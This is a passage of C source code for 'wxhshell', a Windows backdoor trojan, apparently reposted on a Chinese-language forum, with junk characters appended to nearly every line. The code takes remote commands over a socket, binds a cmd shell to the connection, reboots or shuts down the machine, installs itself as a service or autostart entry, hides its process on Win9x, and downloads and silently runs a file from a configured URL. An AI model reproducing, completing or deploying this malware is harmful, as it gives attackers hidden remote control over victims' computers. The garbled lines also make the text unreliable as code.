  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %!|w(Povq  
  } AeJ ;g  
  else { rIb+c=|F  
Vej$|nF  
    switch(cmd[0]) { QFh1sb)]d)  
  _z5/&tm_H  
  // 帮助 q5'S<qY^  
  case '?': { zF&VzNR2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T U%@_vYR  
    break; OvdT* g=8*  
  } u\R?(G&  
  // 安装 %p Wn9  
  case 'i': { 6iC>CY3CG  
    if(Install()) bbm\y] !t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5*0zI\  
    else oy+|:[v:Fk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +2uSMr  
    break; qA*~B'  
    } F_-Lu]*  
  // 卸载 JJ.8V72;!Z  
  case 'r': { 3f;=#|l  
    if(Uninstall()) <,d550GSm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 37AVk`a  
    else 7]{g^g.9-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+.wj/75  
    break; nhI+xqfn  
    } P<<$o-a"  
  // 显示 wxhshell 所在路径 #h5:b`fDF  
  case 'p': { ~^t@TMk$  
    char svExeFile[MAX_PATH]; H DVimoOq  
    strcpy(svExeFile,"\n\r"); 8&<:(mAP  
      strcat(svExeFile,ExeFile); %idBR7?`g  
        send(wsh,svExeFile,strlen(svExeFile),0); ju~$FNt8R  
    break; Dc9uq5l  
    } x`CjFaE~F  
  // 重启 #A63?kDE&&  
  case 'b': { Hq@+m!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !oLn=  
    if(Boot(REBOOT)) sJHVnMA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4WT[(  
    else { nF3}wCe)  
    closesocket(wsh); &|>@K#V8-;  
    ExitThread(0); &(F c .3m  
    } g` rr3jP  
    break; =]5tYIU  
    } ~/OY1~c  
  // 关机 w$2q00R>  
  case 'd': { 'g v0;L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ovs[&  
    if(Boot(SHUTDOWN)) 1$E(8"l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vEv kC  
    else { m*0YMS>Y |  
    closesocket(wsh); 7vRtTP  
    ExitThread(0); =?sG~  
    } /\J0)V  
    break; @!ChPl  
    } c-Gp|.C  
  // 获取shell -H| 9 82=  
  case 's': { .qBc;u  
    CmdShell(wsh); tr<~:&H4T  
    closesocket(wsh); wmVmGa R  
    ExitThread(0); Pk?$\  
    break; U S^% $Z:  
  } TG2#$Bq1  
  // 退出 {DO9%ej)  
  case 'x': {  F/Goq`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E0HqXd?  
    CloseIt(wsh); Y&2FH/(M  
    break; }T5@P {3P3  
    } LF|0lAr  
  // 离开 ^:9a1{L[  
  case 'q': { r" H::A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1;B~n5C.   
    closesocket(wsh); \aSP7DzqQ  
    WSACleanup(); {kpad(E  
    exit(1); )g5?5f;  
    break; ;0DoZ  
        } 9>RkFV  
  } $b8[/],  
  } emSq{A  
Kda'N$|`  
  // 提示信息 mc{z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Ko2yn}6l  
} 3(YvqPp&  
  } qs4jUm  
) f?I{  
  return; !gh8 Qs  
} r$jWjb  
R%r bysP  
// shell模块句柄 Tigw+2  
int CmdShell(SOCKET sock) =m.Nm-g  
{ >$Y/B=e  
STARTUPINFO si; 87 gk  
ZeroMemory(&si,sizeof(si)); X[Y0r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q14zc0N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ay"jWL-  
PROCESS_INFORMATION ProcessInfo; {C |R@S  
char cmdline[]="cmd"; v,4{:y]p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g`fG84  
  return 0; *s6 x  
} zs$r>rlO  
G e;67  
// 自身启动模式 }'[>~&/"  
int StartFromService(void) 7QO/; zL  
{ C'R9Nn'  
typedef struct Z\ hcK:  
{ =v2 |QuS$  
  DWORD ExitStatus; ;lObqs*?>  
  DWORD PebBaseAddress; 2|pTw5z~  
  DWORD AffinityMask; -wU]L5uP  
  DWORD BasePriority; (/y8KG 3  
  ULONG UniqueProcessId; .Fb#j+Lq  
  ULONG InheritedFromUniqueProcessId; &V4Zm n?UU  
}   PROCESS_BASIC_INFORMATION; ~yv7[`+Tgg  
b]u$!W  
PROCNTQSIP NtQueryInformationProcess; Xhe& "rM  
Emlj,c<?j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *)m:u:   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5c- P lm%  
Dka,v  
  HANDLE             hProcess; C-M_:kQ[U  
  PROCESS_BASIC_INFORMATION pbi; +p 6Ty2rz  
9r%fBiSk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0C4eer+D  
  if(NULL == hInst ) return 0; <rC%$tr  
o.KnDY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $;v! ,>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?(ORk|)kU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zue3Z{31T  
M}] *j  
  if (!NtQueryInformationProcess) return 0; Ow 0>qzTg  
Yp\n=#$[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'LgRdtO6  
  if(!hProcess) return 0; A6(Do]M  
Hf4_zd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Y~>&B5  
W3:j Z:  
  CloseHandle(hProcess); aoy Be|H~=  
{4_s:+v0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i6Z7O )V  
if(hProcess==NULL) return 0; V?XQjH1X  
St5;X&Q  
HMODULE hMod; wFMH\a  
char procName[255]; }s,NM%oI  
unsigned long cbNeeded; 8}n< 3_  
0zW*JJxV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |5u~L#P  
KL \>-  
  CloseHandle(hProcess); yD"]:ts3  
^4=#, K  
if(strstr(procName,"services")) return 1; // 以服务启动 _E '?U  
CL0 lMZ  
  return 0; // 注册表启动 -A#p22D,5  
} kcS7)"/ zC  
i1evB9FZ1z  
// 主模块 $J1`.Q>)4  
int StartWxhshell(LPSTR lpCmdLine) rHKO13WF  
{ d(IJ-qJ N  
  SOCKET wsl; 8 063LWV  
BOOL val=TRUE; SkuR~!  
  int port=0; b<FE   
  struct sockaddr_in door; ('x]@  
s|%R  
  if(wscfg.ws_autoins) Install(); x3n9|Uud  
"B'c;0 @q  
port=atoi(lpCmdLine); >0HH#JW  
l uP;P&  
if(port<=0) port=wscfg.ws_port; uV:R3#^  
wra0bS)4  
  WSADATA data; k4Q>J,k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HV%/baX]  
xPZ>vCg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tz ;3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cWW?@ _  
  door.sin_family = AF_INET; 8 a]'G)(ts  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sVx}(J  
  door.sin_port = htons(port);  l"ms:v  
B[8bkFS>]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s{b\\$Rb  
closesocket(wsl); m%0 -3c(  
return 1; '0 Cp  
} ,HP }}K+S  
^E^`"  
  if(listen(wsl,2) == INVALID_SOCKET) { J9lZ1,22  
closesocket(wsl); 4iAF<|6s  
return 1; !.P||$x`&  
} !E$$ FvL  
  Wxhshell(wsl); n])#<0  
  WSACleanup(); Wt/;iq"  
xn*$Ty+  
return 0; y#Dh)~|k  
pGD@R=8  
} xMr,\r'+  
JQ?`l)4  
// 以NT服务方式启动 iC3z5_g*@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _(-jk4 L  
{ <WP@q&^k\  
DWORD   status = 0; ~| j  eNT  
  DWORD   specificError = 0xfffffff; Q:b0M11QR  
qfsPX6]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d+,!>.<3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |Gic79b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9FDu{4:  
  serviceStatus.dwWin32ExitCode     = 0; vRe{B7}p;  
  serviceStatus.dwServiceSpecificExitCode = 0; F! =l r  
  serviceStatus.dwCheckPoint       = 0; lcl|o3yQ  
  serviceStatus.dwWaitHint       = 0; hDxq9EF  
Au,oX2$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k[@P526  
  if (hServiceStatusHandle==0) return; T-N>w;P  
811>dVq3/  
status = GetLastError(); #gbB// <  
  if (status!=NO_ERROR) 2.3_FXSt  
{ [6a-d> e{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l!*_[r   
    serviceStatus.dwCheckPoint       = 0; +gd5&  
    serviceStatus.dwWaitHint       = 0; O cL7] b0  
    serviceStatus.dwWin32ExitCode     = status; e |Ri  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;M?)-dpZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]FCP|Jz  
    return; rpKZ>S|7+)  
  } nJe}U#  
n^nE&'[?0g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x3ZF6)@  
  serviceStatus.dwCheckPoint       = 0; B@F@,?K4%  
  serviceStatus.dwWaitHint       = 0; FJeh=\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @jn&Wf?  
} nL 5tHz:e  
? Ek)" l  
// 处理NT服务事件,比如:启动、停止 M!,H0( @G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D|q~n)TW5  
{ _)45G"M  
switch(fdwControl) 9[/0  
{ k|-\[Yl.  
case SERVICE_CONTROL_STOP: 6 \8d6x>  
  serviceStatus.dwWin32ExitCode = 0; (fpz",[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D;+/ bll7  
  serviceStatus.dwCheckPoint   = 0; IQJ"B6U)  
  serviceStatus.dwWaitHint     = 0; [NSslVr  
  { .?{no}u.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f30J8n"k  
  } ~A>fB2.pM  
  return; *X .1b!  
case SERVICE_CONTROL_PAUSE: 2u$-(JfoS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,)`_?^ \$f  
  break; %}@iz(*}>  
case SERVICE_CONTROL_CONTINUE: i >3`V6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?W'z5'|  
  break; nkHl;;WJ  
case SERVICE_CONTROL_INTERROGATE: !R8%C!=a  
  break; R&|.Lvmc/  
}; MtJ-pa~n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :9QU\{2  
} g`pq*D  
mn@1&#c4y  
// 标准应用程序主函数 Ze V@ X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [e><^R*u  
{ YNBM\Q  
5e7YM@ng  
// 获取操作系统版本 XO]^+'U}p  
OsIsNt=GetOsVer(); AQZ<,TE0,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bqbG+ g  
5Od%Jhtt  
  // 从命令行安装 PIH\*2\/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1h@qcom9K_  
@JGmOwZ  
  // 下载执行文件 4vg3F(   
if(wscfg.ws_downexe) { :$D*ab^^P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ehW[LRtq  
  WinExec(wscfg.ws_filenam,SW_HIDE); qcs) p  
} _UVpQ5pN  
ob>)F^.iS  
if(!OsIsNt) { UPH#~D!  
// 如果时win9x,隐藏进程并且设置为注册表启动 .,u>WIUxj  
HideProc(); OQumA j  
StartWxhshell(lpCmdLine); eu5te0{G  
} KSs1EmB  
else rf0Z5.  
  if(StartFromService()) <)ZQRE@  
  // 以服务方式启动 |5vcT, A  
  StartServiceCtrlDispatcher(DispatchTable); <ww D*t  
else c+l1 l0BA  
  // 普通方式启动 Mqr]e#"o  
  StartWxhshell(lpCmdLine); F?6kkLS/  
EA~xxKq  
return 0; d[t0K]  
}
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只看该作者 1 发表于: 2006-10-10
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